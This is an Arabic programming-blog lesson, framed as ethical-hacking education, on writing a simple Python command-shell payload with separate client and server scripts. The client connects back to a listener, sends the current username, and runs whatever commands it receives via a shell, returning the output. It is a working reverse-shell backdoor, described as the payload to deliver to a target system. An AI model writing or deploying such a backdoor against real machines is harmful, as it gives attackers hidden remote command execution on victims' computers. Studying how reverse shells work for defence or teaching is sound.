التعرف على كيفية انشاء بايلود بسيط سيرفر و عميل في بايثون Python الدرس |20| - Programmer Tech

Programmer Tech

موقع تعليم مجاني يهتم بتعلم البرمجة و علوم الكمبيوتر, أمن المعلومات, القرصنة الأخلاقية, سكربتات

إعلان اعلى المقالة

الأربعاء، 8 أبريل 2020

التعرف على كيفية انشاء بايلود بسيط سيرفر و عميل في بايثون Python الدرس |20|

التعرف على كيفية انشاء بايلود في البايثون simple command Payload الدرس |20|

مقدمة

درسنا اليوم هو command shell Payload أي كيف نبرمج بيلود عبر socket أو low level وظيفته يفتح لنا اتصال بينه و بين command execution.
تأملوا الصورة التالية
التعرف على كيفية انشاء بايلود في البايثون simple command Payload الدرس |20|

شرح مافي الصورة

نرى في الصورة نظام تشغيل os و على جانبه يوجد بيلود, اي يعني أن السطر الاسود المتصل بين النظام و البيلود هو الاتصال الدائم بينهما و الخط الأحمر هو ارسال و استقبال فيما بينهما, و آلية عمل هذا البيلود عبر مرحلتين و هي عن طريق سيرفر و السيرفر يتبع الـ handling أي على اتم الجاهزية لأستقبال اي اتصال به و بعده ارسلنا client الذي عبرناه كـ payload و ارسلناه إلى نظام التشغيل و عند تشغيل هذا البيلود سوف يتصل بـ command execution وبعدها بدأت عملية الاتصال بنجاح بالارسال و الأستقبال.
لرؤية شرح هذه الصورة على يوتيوب بشكل اوضح اضغط على الزر مشاهدة👇👇👇

لنأخذ سكربت لأنشاء بايلود في بايثون


ملف client
import socket
from  subprocess import PIPE , Popen
import os
#my client
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",5555))
    s.send("the clinet user is {0}".format(os.getlogin()).encode("utf-8"))
    while True:
        command = s.recv(3500).decode("utf-8")
        p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
        if p.communicate()[0] == ''.encode('utf-8'):
            s.send(p.communicate()[1])
        else:
            print(s.send(p.communicate()[0]))
except socket.error as e:
    print(e)
التعرف على كيفية انشاء بايلود في البايثون simple command Payload الدرس |20|

ملف server
import socket
#my server
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(("127.0.0.1",5555))
    s.listen(5)
    client , addr = s.accept()
    print("connection from {0}:{1}".format(addr[0],addr[1]))
    while True:
        data = client.recv(500000)
        print(data.decode("utf-8"))
        command = str(input(" < command > "))
        client.send(command.encode("utf-8"))
except socket.error as e:
    print(e)
التعرف على كيفية انشاء بايلود في البايثون simple command Payload الدرس |20|

شرح السكربت

الــ client

استدعينا المكاتب عبر الأمر from  subprocess import PIPE , Popen و بعض النقاط شرحناها بالدرس السابق, و اعطيناه while القيمة True و امر الأستقبال 3500 و عملنا له utf-8 و استخدمنا مكتبة subprocess اختصرناه بـ p = Popen
p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
و ارسلنا نتيجه الأمر عبر  if p.communicate واستخدمنا الـ format .

الــ server

اضفنا تعديلات لسكربت السرفر بالدرس السابق while True يعني البدء في الأستقبال و الأرسال ووضعنا أمر الطباعه print فوقه
و اضفنا {1} لمعرفة البورت و الهوست,و بعدها بدأنا بأستقبال الداتا عبر data = client.recv(500000) و 500000 تعني حجم حزمة الاستقبال وبعده قلنا اطبعه لنا بصيغة تكون غير صيغة encode binnary و تكون الصيغه utf-8 و بعده اعطينا امر آخر = input قد عملنا rec و طباعة,  واعطيناه ارسال clint.send ارسلنا الأمر , يعني نرسل له الامر و استقبلها و بعده نرسل له من جديد.

لتشغيله

هنا اصبح الـ client هو البيلود الذي شرحناه في الصورة السابقة و يجب علينا هنا ان نستخدم هنا الميتاسبلويت, اول شي نفعله تشغيل الميتاسبلويت عبر الأمر msfconsole .........الخ.
ليحصل اتصال عكسي عند تشغيله,  نشغل اولاً السيرفر لأنتظار اتصال البيلود client عند الاتصال سيعرض لنا البورت و مستخدم الحاسب حسب الأمور الذي نكون قد وضعناها في السكربت.
لتحميل سكربتات الدرس بشكل مباشر من الرابط التالي


قناتنا التلغرام
المدونة
صفحة الفيسبوك
قناة اليوتيوب 1:
قناة اليوتيوب 2:

هناك تعليقان (2):

facebook

تسميات

تواصل معنا

Translate

أخر الافكار

من انا

authorمبرمجين ويب و محبين للتقنية و الشبكات و امن المعلومات و سوف نقدم لكم الافضل إن شاء الله
أعرف المزيد ←

نموذج الاتصال

الاسم

بريد إلكتروني *

رسالة *

اقسام